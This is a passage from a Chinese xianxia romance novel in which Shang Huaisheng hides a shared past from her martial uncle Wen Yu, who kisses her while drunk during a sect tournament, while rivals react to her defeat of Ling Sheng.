问玉身形一顿,脑海中的某些模糊记忆再次闪现,他移开目光,压住心底翻涌的情绪,“这种事该怎么开口?” 商怀笙微微勾唇,暗自庆幸,“嗨呀,那真是可惜。” 问玉的目光扫过来,“你在幸灾乐祸?” “我可没有。”商怀笙迅速敛起笑容,装模作样地劝慰道,“师叔,过去的事情已经过去了,人总是要向前看的,既然想不起来,何不就此相忘于江湖?” 问玉忽的停下脚步,眼眸微挑,目不转睛地端详着她,那眼神看的商怀笙心底发毛,有种自己已经被他看穿的错觉。 “你竟也能说几句人话。”问玉撂下这么一句,便继续向前走。 商怀笙深吸一口气,快步跟上他,继续嬉皮笑脸,“师叔,我是心疼你,你老是吃那些药也没有用,吕悠师姐也不能保证药性,万一吃出个好歹来可怎么办?” “……” 问玉没有理睬她,加快了步伐,商怀笙也跟着迈起小碎步,“师叔,我认真的,那药可不能乱吃。” “我还需要你来心疼?” 问玉斜了她一眼,眸光中似有几分局促,隐在鬓发下的耳尖微红,他扭头不去看商怀笙的笑脸,心中生出莫名的烦躁。 小小年纪不学好,长辈面前没有礼教,哄人的话倒是张口就来。 他越走越快,渐渐将商怀笙甩在身后,商怀笙也没再追上去,盯着问玉修长挺拔的背影,一袭青衫与周边竹林相映,风掀起他的下摆,像一片不肯坠落的竹叶。 视线中一片叶片旋转飞舞着落下,商怀笙伸手将叶子接住,刹那的功夫,问玉已经走出去很远,青石阶上落了一地的竹叶。 商怀笙心中涌起一阵微妙的情感,听到问玉与凌云熟识,她先是恐慌,怕他想起当时的记忆,可在这担忧之下,似乎还藏着一丝丝隐秘的期待。 如果问玉知道了会如何? 他定然会暴怒,怨恨她的隐瞒欺骗,可能会忍不住打她,想着法儿的折磨她……但他也会记起两人亲密相拥的种种,会无比的羞愤,甚至不敢直视她的眼睛。 想到问玉那样的神情,商怀笙便觉得胸口有些发烫,像是有一股温热的泉水在心头流过,又像是被小猫挠了心口,痒痒的。 她被问玉的美色吸引,对他起了色心。 可问玉风华绝代,多少人都对他起了心思,连他们宗门的晚辈都不能免俗,何况她常常与问玉相处,又有过那样的过往,自然更容易被美色所诱惑。 商怀笙低头,念了数遍清心诀,忏悔自己的罪孽。 * 第一天过去,镇化山的形势已经有了翻天覆地的变化,位居榜首的是一位名不见经传的清溪门弟子,手中有了十三块玉牌,太虚殿,天工阁两位内门弟子也已经有了足够的玉牌数,其次便是潮海阁桑月的大弟子,都是此次决赛擂主的强有力争夺者。 最出乎人意料的是,原本炙手可热的凌盛竟然输了,不知道被谁赢走了玉牌,还被打成重伤,现在窝在住所中不肯见人。 “弟子去打听过,可惜天泉医谷闭门谢客,凌枫院的也不肯提起此事。” 沈永山跟问玉汇报今日的战况,他们三山宗的弟子目前都还握有玉牌,其中闻惠的弟子今天和沈永山的弟子宋惜光表现最佳,分别持有九块和七块玉牌。 “四水阁那边,弟子傍晚和程公乐讨论,他们似乎并没有积极应战,目前只有元妄手里握有九块玉牌,其他人一块到三块不等。” 问玉:“元妄?” “是……元妄他,前任颇多。” 问玉露出了然的神色,“还有商怀笙,她现在手里应该有八块玉牌。” “商怀笙?”沈永山神色惊讶,眼珠一转,便猜到了原委,“她就是那个打败凌盛的人?” 问玉点点头,眉梢露出一丝不易察觉的骄傲神色,“凌枫院那边什么反应?” 沈永山摇摇头,“他们封锁了消息,现在和荔香院一样闭门不见客,傍晚时似乎去请了南宫汀来为凌盛医治,听说他受了很严重的外伤。” 沈永山停顿片刻,犹疑道:“如果是商怀笙出手,她力气那么大,又不懂得节制,没轻没重的,万一把人打残了,岂不是会影响凌枫院与四水阁的关系?师叔,咱们是否要派人去瞧瞧?” “没那么严重。”问玉视线微沉,“你为何说商怀笙不懂节制,似乎对她意见很大?” “……”沈永山感觉问玉这话中似有质问之意,不由得冒出冷汗,“这、商怀笙的脾性三山宗的人都清楚,从小便争强好胜,是四水阁年轻弟子中最好斗的一个,和咱们宗门的人打起架来也是毫不留情……” 问玉脸色愈发阴沉,他也不敢再继续说下去,不明白现在的情形:问玉师叔不是也不喜欢商怀笙吗?之前还在大庭广众之下把她带去同睦殿受罚,现在怎么像是在偏袒她? “她可有打残过三山宗弟子?” “这个……倒是没有,除了金田那一次,其他的时候也只能算是弟子间的小打小闹。” 问玉轻哼一声,“既然如此,便不要散播那样的言语,同为修道之人,你应当知道不实的诋毁也是能毁了一个人的,更何况严格来说她也算是你同根同源的师妹。” “……是,弟子谨记师叔教诲。” 沈永山从问玉房中出来,已经出了一身的冷汗,他甩甩衣袖,目光投向对面亮着灯光的屋子,长舒一口气。 怎么回事儿,师叔竟然开始帮着四水阁的人说话? 他还亲眼见过宋良白深夜造访年玉,两人在师父的书房中彻夜长谈……难道四水阁和三山宗要重修旧好? 这是要变天了。 * 深夜,荣春小筑庭院中央的莲花池倒映着月光,一枚石子投过来,激起层层涟漪,搅碎月影。 沙巧蹲在莲池旁,手里握着石子,百无聊赖地打了个哈欠,忽然听到一阵脚步声从身后响起,她转身,见问玉从对面的连廊走来,沙巧赶忙起身,行了个礼。 “晚辈见过师叔祖。” “这么晚了,你怎么在这里?” 问玉打量着她,认出她是程公乐的弟子,与商怀笙同住一屋。 沙巧站姿僵硬,神色也有些局促,“我,我睡不着,出来看看月亮。” “商怀笙呢?她的伤怎么样了?” 问玉看向她们的房间,沙巧却突然向左一步挡住他的视线,语气慌乱,“怀笙,怀笙她……” 问玉蹙眉,“她又偷跑出去了?” 沙巧摇摇头。 问玉:“还是说她在做什么坏事,让你给她把风?” “这、这倒没有。”沙巧心中惊恐,险些咬到了舌头。 “罢了,我亲自去看,我有事找他。” “师叔祖——” 沙巧伸手想要拦住他,恰在此事,屋门打开,一个本不该出现在这里的人走了出来。 “怀笙,你记得一天要换两次药,丹药最好也要服用,不然很难在决赛前完全恢复。” “知道了,知道了。” 商怀笙同陆雪青一起出来,商怀笙穿得还是白日里的衣裳,陆雪青换了身便衣,他这几个月长胖了些,瞧着比在日曜城时健硕许多,气色红润,眉眼间都萦绕着喜色。 陆雪青手中提着药箱,脸上带着浅淡的笑意,“一定要吃啊,苦是苦了些,但是疗效奇佳,你不要偷偷扔掉。” “我是那种人吗?”商怀笙瞪着眼睛,佯装生气,脸上却没有不耐烦的意思。 “可你最不喜欢吃药。” 陆雪青还是担心,再三叮嘱,商怀笙催促他,“行了,这点小伤很快就好了。” “那我……”陆雪青正要说什么,余光瞥见站在不远处的沙巧和问玉,收敛了脸上的笑意,礼貌地冲二人颔首,“见过问玉道长。” 沙巧瞥了问玉一眼,没想到两人居然认识,眼睛微微眯起,打起十二分的精神,生怕错过什么关键信息。 问玉只是淡淡地点头,“时候不早了,陆公子为何在此?” “我来给怀笙换药。” 他原本不想与商怀笙独处,毕竟孤男寡女,怕惹出闲话,但他们修道之人似乎并不在意这些,商怀笙又说有事情要问他,沙巧才被“请”了出来。 被长辈撞见,陆雪青表现出几分羞涩和局促。 商怀笙瞥一眼问玉,点点头就当是打过招呼,便要送陆雪青回去,“这么晚了,万一遇到那些心怀鬼胎的在荔香院附近埋伏你,我送你回去。” “不用麻烦的。” 陆雪青嘴上拒绝,脸上的喜色确是按捺不住。 “别废话了,走吧。” 两人并肩离开,身形消失在门口,沙巧摸着下巴,小声感叹道:“商怀笙这个重色轻友的,气人有一套,对付男人更有一套。” 说完她才意识到问玉还在,慌张抬头,却见问玉脸色阴沉,眸底似乎闪过一丝伤心之色,很快消失不见。 她深吸一口气,紧张得忘记了呼吸,只见问玉转身离去,大步流星地回到房中,重重关上房门。 嘶—— 不得了了。 第43章 第四十三章 醉酒 商怀笙在陆雪青口中得知, 她离开日曜城不久,陆雪青便出发前往天泉医谷求医,还是问玉给他指的路。 他本意只是想治好归元鬼针带来的后遗症, 但谷主在看过问玉写的书信后, 不顾其他长老的反对,执意要收他为弟子。 陆雪青不明白他为何如此,直到遇到南宫汀, 才知道他母亲原来竟也是医谷弟子出身,只是后来遇到了他父亲,自愿退出师门,回到人间。 在南宫汀口中,母亲是个自私的家伙,明明是谷主最钟爱的弟子, 前途无量, 却为了个男人抛弃师门, 卷入乱世,失去了生命。 但陆雪青觉得他母亲不是那样的人, 他有记忆起庆州便已经处在战火之中, 他父母同是医者出身,悬壶济世,救人无数,在他们被关进打牢前, 虽然四处漂泊, 但父母和睦, 日子也温馨幸福。 父母去世的时候他年纪尚小,只知道他们得罪了独霸一方的恶匪被关押在牢房,父母被折磨致死, 他也命悬一线,直到遇见商怀笙。 关于两人相遇后的记忆,他和商怀笙之间出现了偏差,他以为商怀笙是故意被这群土匪关押,深入敌窝,与李昱辰的军队里应外合进行剿匪。 但在商怀笙的记忆中,她因为脾气倔强不听从李昱辰的话,被惩罚关进了牢房中,一直照顾她的枣儿叮嘱她千万不能再惹事,商怀笙才在那里安稳地待了半个月。 这么一对比,事情变得奇怪起来,陆雪青以为自己是被关押在土匪的牢房,但商怀笙却说那是李昱辰关押重刑犯的地方…… 陆雪青关于幼时的记忆,忽然变得疑点重重,他记忆中的母亲也完全是个普通人,身上没有一点修士该有的样子,需要吃饭喝水,也会长出皱纹,南宫汀却说她母亲已是结器期,已然辟谷,可以容颜永驻。 陆雪青觉得自己之前活在一个虚幻的世界中,原有的认知崩塌,原本清晰的记忆似乎充斥着谎言。 他留在天泉医谷有了另一个目的,找寻母亲在这里生活的痕迹,拼凑出完整真实的过往。 陆雪青将这些毫无保留地向商怀笙坦白,他活了二十多年,忽然发现自己从没有清楚地了解过自己的父母,整个人如坠雾中,有种大厦倾颓之感。 商怀笙虽不能完全感同身受,但也了解那种发现被人欺骗后的痛苦和迷茫,就像她一直以为枣儿是死在敌军手中,阴差阳错地知道是李昱辰为了激发她的斗志,亲手砍下了枣儿的头颅。 那一瞬间她如遭雷击,方才明白过往种种都是镜花水月,她一直活在李昱辰的哄骗与控制中。也是在那时起,她生出要脱离李昱辰的心思。 不过陆雪青与她还是不同的,毕竟父母对他的爱和保护是真的,他们一起度过的美好回忆也是真的,这一点上,陆雪青比她幸运些。 将陆雪青送回荔香院,商怀笙回了住处,却没进门,在莲花池旁徘徊,绕了几圈后,她起身走向问玉的房间。 檐下风灯摇曳,映得青石小径一片朦胧,商怀笙抬手轻扣问玉房门,等了半晌,却无人应答。 里面还透着光,想来问玉还没有歇下,是出去了吗? 商怀笙正犹豫着要不要明日再来,门被由内打开,问玉站在门前,长发微乱,衣襟半敞,乍一看还是那副清冷的模样,眼尾却微微泛着薄红。 “……你来做什么?”他声音略有些沙哑,仔细听来似乎还混着酒气。 商怀笙一怔,脑袋往他身后探去,果不其然看到桌上摆着一个白瓷酒壶,“你喝酒了?大晚上的。” 她提腿要进去,问玉斜倚在门框上,挡住她去路,“你也知道是大晚上的,你身为女子,随随便便就能闯入男子房间?” 商怀笙挑眉,不知道他突然抽的什么风,“咱们哪次见面不是在晚上?你是不是弄了什么好酒背着我偷喝?” “我有正事找你,你若是不怕被你们三山宗的弟子瞧见,站在这里说也是可以的。” 商怀笙说完,问玉便侧开身子,商怀笙扬起得逞的笑容,迈入房门,便奔着客厅茶桌上的酒壶而去。 酒壶几乎还是满的,酒盅里也剩下大半,看来他刚开始喝。 商怀笙低头,闻到一股淡淡的酒香,兴致瞬间消了大半,“太虚殿的酒?一点味道都没有,当茶水喝喝算了。” 问玉走上前来,坐在她对面,眉头微微皱着,似乎有什么难解的心事,“你要说的是什么正事?” 商怀笙放下酒壶,坐正身体,道:“陆雪青跟我说,是你告诉他可以去天泉医谷医治。” “……嗯。”问玉的目光缓缓落在她脸上,睫毛一颤,又飘忽地移开,“就为了说这个?” “当然不是,其实我是来道歉的。”商怀笙垂首,露出乖顺的模样,“那日我还骂你见死不救,误会了你……” “嗯。”问玉捏起酒盅,仰头一口饮下,目光凝在商怀笙身上。 她知道真相,向他服软道歉,问玉心中却没有畅快的感觉,堵在胸腔中那股气在见到陆雪青时便憋闷难消,现在也盈满他的心口。 杯酒下肚,问玉眼神更加涣散,盯着商怀笙的手臂,“你伤怎么样了?” 不等商怀笙回答,他又道:“有陆公子给你换药,想必是已经好了。” 他自问自答,商怀笙再迟钝,也听出他话中淡淡的讥讽之意,不由得皱眉,“陆雪青不是神医,没有瞬间就能让伤口恢复的本事。” “是吗?”问玉牵起唇角,忽的攥住商怀笙手腕,滚烫的掌心贴着她,拇指在她腕间摩挲,“天泉医谷的药,自然是比旁人的要好,有陆公子在,伤能好得更快。” 商怀笙微愣,抽出手,却见问玉还保持着刚才的姿势,她才察觉出几分不对劲来,伸出手在问玉眼前晃了晃,“你喝醉了?” 他才喝了一杯,那么一点点? 不用他回答,问玉依然醉眼朦胧,那双眸子像是浸在雾中的星子,虚浮地晃着,失了焦距,连说话都慢了半拍,“酒量不佳,见谅。” 他的语气没有刚才的那么争锋相对,反而客气起来,似乎把商怀笙当成了别人。 商怀笙指指自己,“师叔,我是谁?” 他凑近脑袋,眉目间带点孩子气的困惑,端详许久,忽的起身抱拳,“深夜惊扰,还请姑娘见谅。” 说着,起身便要离开,摇摇晃晃地走到门口。 在他拉开门前,商怀笙赶紧按住他,问玉也不反抗,由着她把他当成根木头拽到桌边。 “你酒量竟然这么差!”商怀笙幸灾乐祸地笑道,“难怪你在宫宴上滴酒不沾,是怕喝醉了出丑啊。” “我没醉。”他吐字清晰,声音更加低沉,尾音却像沾了蜜酒般拖长,“没醉。” “不仅酒量差,还不诚实。” 商怀笙身边的人酒量都不错,最差的沙巧都能喝上三两,像问玉这样一杯倒她还是头一次见。 而且问玉不仅一杯倒,喝醉了也不耍酒疯,反倒像个孩子一样,迟钝中带着可爱。 商怀笙压着他坐下,又给他倒上一杯酒,“师叔,给我讲讲,你为什么喝酒?” “心情不佳。” “为何不佳?” “……商怀笙。” “我?我怎么你了?” 商怀笙托着脸,笑嘻嘻地看着他,“我怎么惹到师叔了,害你的一个人在这里喝闷酒?” 问玉定定地望着她,眸中似有星河倾落,商怀笙正等着他答话,问玉却突然俯身靠近,一只手捧起了她的脸颊。 商怀笙呼吸一滞,还没反应过来,唇上便落下一抹温软,带着淡淡的酒香,生涩得近乎笨拙。 一触即离,商怀笙却僵在原地,手指攥紧衣袖,耳畔心跳声剧烈,“你,你知道自己在干什么吗?” 问玉迷蒙的眸中忽的带上些许笑意,低喃道:“这种事情,你不也对我做过吗?”!!! 这一句话如平地惊雷,商怀笙猛地站起来,如果说刚才她因为问玉的吻感到震惊心动,现在便只剩下了惊讶,她声音微颤,“你你你想起什么来了?” 难道说是因为酒精的刺激? 这不可能啊,那么多药都没能解开忘忧咒的效果,一杯酒就想起来了?! 不对! 或许是他故意诈她,喝醉是装的!他早就猜出来了,这是专门给她做的局! 那她刚才的话岂不是暴露了? 商怀笙警惕地盯着他,心脏都快跳了出来。 问玉的目光随着她的起身上移,迟缓地眨了眨眼睛,烛火微晃,映得他眼底碎光浮动,似是醉得厉害。 “不喜欢?”他长睫低垂,闪过一丝受伤的神色,又重复一遍,“不喜欢吗?” 商怀笙哪还敢逗他,就算他此刻真的是醉了,万一明早还记得,也会从自己的答话中发现蛛丝马迹。 “师叔,时候不早了,你歇着吧。”商怀笙边说边往门边走,“我就当今天的事情没发生过。” 问玉的目光追随着她,身体也跟着转动,但没有起身,只是紧紧地盯着她。 商怀笙指了指房间里面被屏风隔开的内室,“师叔,你的床在那里,你该睡觉了,知道吗?要听话。” “……好。” 问玉点点头,目送她离开,又在桌边呆坐片刻,起身走向内室。 商怀笙出了房门,看四下无人,逃也似的飞奔回房间,一推门见沙巧已经躺下了,她赶紧屏住呼吸,蹑手蹑脚地走向自己的床铺。 吹灭蜡烛,她长舒一口气,心脏还在怦怦直跳,商怀笙紧紧捂着心口,想让自己冷静下来。 她暗暗祈祷,希望明天问玉醒来什么都不记得。 第44章 第四十四章 是不是嫉妒了? 翌日, 问玉醒来时,已是日上三竿,他头疼欲裂, 大脑一片混乱。 他记得他去给商怀笙送药, 结果撞见陆雪青,心烦意乱,便去找了酒来, 喝到一半,商怀笙闯了进来…… 商怀笙……她进来之后,发生了什么? 问玉揉揉脑袋,手臂沉重得像是灌了铅,脑中浮现出零碎的画面,依稀记得他们聊起了陆雪青的事情, 再之后半杯酒下肚, 他便什么都不记得了。 问玉无奈地轻叹一声, 试图回想起之后的内容,可是记忆如同被浓雾遮蔽, 什么也抓不住。 他酒量一直不好, 自从知道这一点后,他便再未沾过酒,昨夜却鬼迷心窍地找来了酒独酌,本来打算借酒醉一场, 直接睡去, 免得去向那些乱七八糟的事情, 却没想到商怀笙会来。 这个扰乱他心绪的始作俑者,当着他的面和别的男人一起离开,还敢折返回来找他, 偏偏又是一副公事公办的模样,而他不仅没有不满的借口,那段缺失的记忆也让他没有能够正视自己心意的立场。 问玉在床边呆坐许久,待头疼稍稍缓和了,他才起身出门。 荣春小筑内闹腾腾的,后院聚集了几个三山宗与四水阁的弟子,本是一副杀气腾腾争锋相对的模样,问玉从廊下一出来,他们又瞬间安静下来。 四水阁为首的自然是商怀笙,她手里抓着从凌盛那里得来的玉牌,得意地对着金田挑眉,手腕上的铃铛清脆作响。 余光瞥见问玉,她神情一僵,动作收敛了一些。 她不自然地反应让问玉心中一沉,不免担心自己昨夜喝醉后做出了什么越界的行为,他清清嗓,在众人惊讶又敬畏的眼神中,喊出商怀笙的名字。 “商怀笙,过来。” “……我?” 问玉点点头,三山宗弟子瞬间露出得意的笑容,以为他要狠狠教训商怀笙一番。 商怀笙面露迟疑之色,刚准备往前走,就被沙巧抓住胳膊,沙巧冲她摇摇头,商怀笙看看后面担心的几人,又望了眼不远处的问玉,在她手背上轻拍两下,“放心,没事的。” 她收了玉牌,朝着问玉走去,在众人的注视下,两人消失在回廊。 短暂的沉默后,金田嗤笑一声,幸灾乐祸地说,“师叔祖肯定是商怀笙和凌盛的事情,商怀笙这次吃不了兜着走了!” 丰宝怼他,“怀笙做错什么了?凌盛技不如人,被拿了玉牌岂不是活该?” “凌盛可是上一届的擂主!他会打不过一个识灵期的商怀笙,肯定是商怀笙使了阴招!” 沙巧白他一眼,“且不说上一届天机阁与太虚殿都未参赛,凌盛这个第一有多大的水分,你一个结器期,不也打不过怀笙?要不怎么不敢接受她的挑战?” 金田脸色一变,当着这么多人的面被拆穿,他面露窘色,“这……三山宗和四水阁再怎么说也曾经同源,在外人的地界大打出手,传出去多不好听,我是为了你们的声誉考虑!” “是怕传出去丢人吧!” 丰宝嘲笑道,身后四水阁的弟子也跟着笑起来。 他们笑也就罢了,连三山宗的人都在憋笑,自从上次他被断龙袭击昏迷后,金田在三代弟子间的威信便不如从前了。 金田回头瞪他们一眼,愤愤道:“你们等着吧,商怀笙就是空有蛮力,真到了赛场,她会输的很难看。” * 商怀笙随着问玉绕过回廊,穿过莲花池,池边柳枝摇曳,微风吹动着檐下风铃,发出叮叮当当的声响,商怀笙动动手腕,铃铛响动,与风铃共鸣。 她玩得起劲,前面的问玉却突然停下来,转头一脸严肃地盯着她,还挥手设下了隔音结界。 商怀笙心里咯噔一下,手腕也不敢动了,身体僵直,本能地抬眸和问玉对视,其实脑子已经飞到了九霄云外。 “商怀笙。”他认真地叫她,一字一顿,语气听起来强硬。 “嗯?” 商怀笙紧攥着手上的铃铛,不让它发出一点声响,一颗心七上八下的,担心他提起昨天的吻,更怕他想起囚龙谷的事情。 “昨夜……”他拖长音调,商怀笙绷直脊背,“你来找我之后,发生了什么?” “你不记得了?”商怀笙松开铃铛,观察着问玉的表情,从他期待着答案的神色中,确定他是真的不记得了,而非故意诈自己。 商怀笙暗暗松了口气,肩膀也放松下来,感到庆幸的同时,胸腔里却像是有什么东西被拧了一下,有一瞬的空落。 “是,我不记得了。”问玉将她的反应尽收眼底,却有些看不明白。 商怀笙的心思是最好猜的,喜怒哀乐都摆在明面上,刚才那是明显的放松庆幸的神色,可见昨夜定然发生了什么事情,商怀笙不想让他知道。 如果他醉酒出糗,以商怀笙的性格,肯定会记录下来,往后以此要挟嘲笑他,但从商怀笙的反应来看,不会那么简单。 问玉逼近一步,“商怀笙,你不会趁我喝醉,对我做了不轨之事吧?” 商怀笙:“!???” 她猛地后撤,瞪大眼睛,眸中尽是震惊和鄙夷:不是吧?这人还敢倒打一耙? “你瞎说什么呢!”商怀笙抬起拳头,右腕的铃铛响个不停,“明明是你——” 问玉捕捉到关键信息,心脏一沉,“我对你做了什么?” “你,你说天泉医谷的药好,还说有陆雪青在伤能好得更快。” “……” 别的都不能再说了,商怀笙抬眸小心翼翼地打量问玉的神色,刚才还压迫感十足的人,现在竟然呆若木鸡,双眼呆滞。 商怀笙想了想,又补上一句,“你说这话的时候阴阳怪气的,是不是嫉妒了?” 问玉猛然回神,目光直直地射向她,像只被踩了尾巴的猫,因被说中心事而恼羞成怒。 他居然口不择言,说出那样的话,毫不掩饰自己卑劣的心思,连商怀笙都能听出的嫉妒,可见他是多么的直白。 虽然商怀笙未必会往男女之情上去想,但问玉还是觉得羞愧难当,他作为长辈,不仅掺和晚辈之间的感情,还因为一个毛头小子争风吃醋,不顾长辈的身份,不顾纲常伦理,说出去定会遭人耻笑。 “我喝醉的时候会胡言乱语。”问玉解开结界,快步离开,掩饰自己的无无地自容,“好了,没别的事情我先走了。” “就走了?”商怀笙没想到这么轻易便逃过一劫,面露喜色,全然没注意到问玉眸底翻涌的情绪,“不再聊聊?师叔,你酒量是真差啊,居然一杯就醉了。” “闭嘴!” “没事的师叔,咱们的医术就是不如天泉医谷,那可是医修的地界,自然是比咱们这儿好的!” “……” 问玉理都不想理她了,加快脚步,将吵吵闹闹的商怀笙甩在身后,商怀笙假意追了几步,停在原地。 等问玉走远,她整个人脱力般倚在墙壁上,深吸一口气。 太危险了! 她差一点就要绷不住了,还好今天反应快! 她本想还在想天泉医谷的事情说完之后该怎么编,没想到问玉居然就这么放过她了,幸好幸好。 商怀笙想着,指尖无意识地抚摸着嘴唇,想起昨夜温软的触感,心底又浮现出几分迷茫。 所以问玉昨晚为什么要亲她? 是在酒精刺激下想起来了什么,还是因为别的……? 商怀笙有几分好奇别的可能,可是又不敢去质问,怕刺激到问玉,让他回忆起来囚龙谷往事。 那昨夜的吻便只能成为一个永远的谜题了。 商怀笙摇摇头,感到一阵可惜。 * 自昨夜回到漱玉轩,凌盛便再没出过门。 他身上并无十分严重的内伤,但从外表来看并无大碍,但被商怀笙踹过得地方已经一片淤青,只是轻轻呼吸,胸口处的伤口便像是要撕裂一般疼痛。 凌盛躺在床上,呼吸声如同老旧的风箱,他瞪着眼睛看向床顶,一动不动宛如死尸。 “少主,宗主今早来过……” 门外响起凌康辰的声音,刚开口便被不耐烦地打断,“跟他说我还在睡着!” 门外迟疑片刻,传来一声:“是。” 凌盛歪了下脑袋,抬手抹去眼角的泪水,他狠狠抹了把眼睛,却越抹越湿,凌盛抽泣几声,把自己埋进被子里,蜷成一团。 “笃笃——” 门外又响起敲门声,凌盛厌烦到极点,大吼道:“滚啊,以后都不要来烦我!” “凌公子这是怎么了?” 轻佻的声音传来,房门“吱呀——”一声被推开,凌盛浑身一僵,快速在被子里抹干净眼泪,探出头来。 李迎灯环顾满地狼藉,故作夸张地说:“小小四水阁弟子竟然有这样大的本事,让凌公子伤心至此?” 看他满眼促狭之意,凌盛气不打一处来,霎时又红了眼眶:“你知道了?那是不是天工阁都知道了?” 李迎灯轻笑一声,“何止是天工阁。” “什么?是不是商怀笙她四处炫耀!” 凌盛猛地起身,脸顿时涨得通红,恨不得此时立即打包回凌枫院。 现在好了,来参加九天盛会的门派,都知道他输给了一个初出茅庐的小丫头! 李迎灯踢开地上被撕扯出棉絮的枕头,找了个矮凳坐下,道:“商怀笙那边倒是没什么反应,她一上午都没露过面。多少人都盯着荔香院,况且你在本届弟子的关注度也颇高,你俩对战,肯定有人盯着。” 他瞥一眼凌盛胸口的淤青,眼底闪过一丝探究,“我也好奇,以前从未听说过这个商怀笙,她是不是使了阴招,竟然打赢了你?” 凌盛嘴唇颤抖,感到一阵羞辱,“那家伙甚至连灵器都没有拿出来,她故意侮辱我!” 李迎灯眉头一挑,“连灵器都没拿?” “是……”回忆起当时的场景,凌盛整个人都塌了下去,显得十分萎靡,“她轻功极好,擅长躲避,躲了我十几招之后,她趁我不备,一脚踹在了我胸口。” 李迎灯追问:“然后呢?” “然后我就倒地不起了。” “嗯?就一脚?” “是的,就一脚。” 凌盛抚上自己胸口,痛苦皱眉,“那一瞬间我感觉我的三魂七魄都被踢出了身体,随之而来的是巨大的疼痛,她难道修行的是什么脚部的神功,竟然有那么大的力气。” 李迎灯坐正身子,“你轻敌了。” 凌盛嘴唇翕动,垂下眼睫,“只是我没想到……” 早在日曜城见识过断龙之后,凌盛便知道商怀笙会是这次九天盛会的劲敌,但他没想到的是,这次她连断龙都没有拿出来,便轻易地打败了他,甚至还在落枫剑下救了他。 凌盛单手捂住脸颊,又一次红了眼眶,脸上尽是不甘的神色,“是我轻敌了,境外试炼的时候,我绝不会放水的!” 李迎灯食指轻敲着桌面,唇角牵起一抹冷笑,“能把凌公子气成这样,我倒想会一会他。” 第45章 第四十五章 挑衅 试炼第二日, 商怀笙手里已经有十块玉牌了,败者的玉牌被扣去结界珠,变作只有正常玉牌的五分之一大小, 穗子般缀在她的玉牌之下, 摇起来叮当作响。 “我还想低调一下,没想到这么多人上赶着来挑战。”商怀笙晃着玉牌,向元妄炫耀, “可惜师姐没来,看不到我一击制敌的飒爽英姿。” 元妄道:“秦湫要是看到,怕是要担心的睡不着觉了,她本来就怕你太惹人注目,回头被针对了可怎么办?” “还能怎么办?”商怀笙抬起右手,在空中劈出掌风, “人挡杀人佛挡杀佛。” 元妄捂着心口, 语气夸张, “你可低调点吧,虽说现在的弟子论道是个人比赛, 但到了境外试炼的时候是可以组队的, 到时候被你打败的那些人联合起来害你。” 他虽然有故意夸大的成分,但担心不是假的,太虚殿和天机阁的人这次都参加了比赛,可见此次的奖品分量多重。 这些人都身经百战, 经验丰富, 境外试炼又注重实战, 九幽幻境内妖魔横行,他们想联合起来对付商怀笙一个毛丫头实在太轻松了。 元妄笑了下,掩饰内心的担忧, “你能赢自然是好的,但也要处理好和对手之间的关系,不要太张扬。” 商怀笙点头,“要守礼节,我知道,师姐都说过多少次了。” “你知道就好。”元妄语气中多了一丝无奈,像长辈一样摸摸她脑袋,“我们怀笙长大了。” 商怀笙挪开他的胳膊,“你越来越像我爹了,老气横秋的。” “我从小就照顾你,不就和你爹一样吗?” “你占我便宜?” “你小时候发高烧还给我喊过爹,给秦湫喊过娘呢!” “你也说了是小时候!” 商怀笙满脸的害羞和不服气,元妄哈哈大笑,眉眼都弯了起来,打量着商怀笙,感叹道:“是真的长大了,刚见到你的时候,你才那么点,又瘦又小,现在……” 元妄看到她身上多了许多首饰,尤其手腕上的银铃手环格外亮眼,刚才便一直在叮叮响,“你也长成大姑娘了。都有男子来给你送信物了。” 商怀笙顿了下才反应过来,脸颊微红,摸着腕上的铃铛,道:“陆雪青说这是用娘的遗物打的,当年李承允借口担心商叙触景伤情,将爹娘的遗物尽数销毁,他留了两只银镯,一只给商叙,另一只留着想要给我。” “……李承允真不是东西。”察觉到商怀笙低落的情绪,元妄将话题转移到陆雪青身上,“他将这东西带在身上,看来这次便是专程来见你的。他的确喜欢你。” 元妄观察着商怀笙的神色,询问道:“你呢?” “……” 商怀笙蹙起眉头,纠结和为难都写在脸上,“我对他没有旁的心思。” 说这话时,她脑中闪过问玉的模样,想起昨夜那不明不白的吻,面露愁色,“他为我妹妹做了太多,我总觉得该做些什么补偿他。” 陆雪青的喜欢直白热烈,迟钝如商怀笙都能看出他想要的是什么,可她内心对陆雪青没有悸动,如果真的随随便便就接受他的感情,对陆雪青反倒是一种残忍。 商怀笙看了一眼元妄,无奈叹气,“算了,在你这里也得不到什么好的建议。” “我怎么就没有好建议了?”元妄抱起胳膊,“你师兄可是情场老手。你从前问我男女感情之事,可十分积极呢。” 那是从前没有经历过,现在懂了,就没有那么求知若渴了。 商怀笙移开目光,“你这两日接连被女修挑战,听说昨夜还被追到了荣春小筑门口。” “那、那是……”元妄的气场一下子弱了下去,“那是我年少不懂事。” 他忽的严肃起来,盯着商怀笙的双眼,“怀笙,不要学我。” 商怀笙没看懂他眼底的深意,点头道:“我知道了,师兄。” 元妄与商怀笙在荣春小筑躲清闲,一个是为了躲人,一个是打了一上午,想稍作休息。 目前四水阁弟子中,丰宝与大师兄的弟子韩示已经集齐十二块玉牌,丰宝平日看着又怂又胆小,但实力在这一代弟子中还是拔尖的。 本次参加九天盛会的二十七个宗门,弟子三百余人,去掉悟道期之上与识灵期的弟子,还剩二百多人,竞争可谓是十分激烈。 元妄估计了一下当前的局势,按照十二枚玉牌的最低标准,最终至少有二十人会进入决赛。 但情况自然不会这么简单,此番不少宗门来势汹汹,上一届在弟子论道中斩获第二名的清溪门连周衡,已经手握十九块玉牌,且一直在向周围修士发起挑战。 天泉医谷的南宫汀今早将自己的三块玉牌送给了天机阁弟子何朝兰,之后一些修为不高不想参与争斗的修士为求自保纷纷效仿,主动将自己的玉牌赠送给熟识的修士。 傅秀轩也不想参赛,便主动将玉牌给了沙巧。 这十二块玉牌不仅是决赛的敲门砖,更有可能关系着能否参加境外试炼,这次赛制变动,混乱与未知并存,往往隐藏着危险,而利益之下,更会催生出变数。 原本的交流大会变了样子,是元妄他们所没想到的,像他们这种并不显赫的宗门,所能做出的最稳妥的决定,便是不惹事不生事,安稳地做个看客。 程公乐便是这样叮嘱他们的,搞清楚自己的实力,如果不想涉险,便不要轻易参与争斗。 这话是说给其他弟子听的,对于商怀笙,他还是那副放养的态度,只是看她的眼神中多了几分隐秘的期许,自她打败凌盛之后,平日里只是嬉笑打闹的同门也转变态度,面上还是一切如旧,只是眼眸中总是多了些别的情绪。 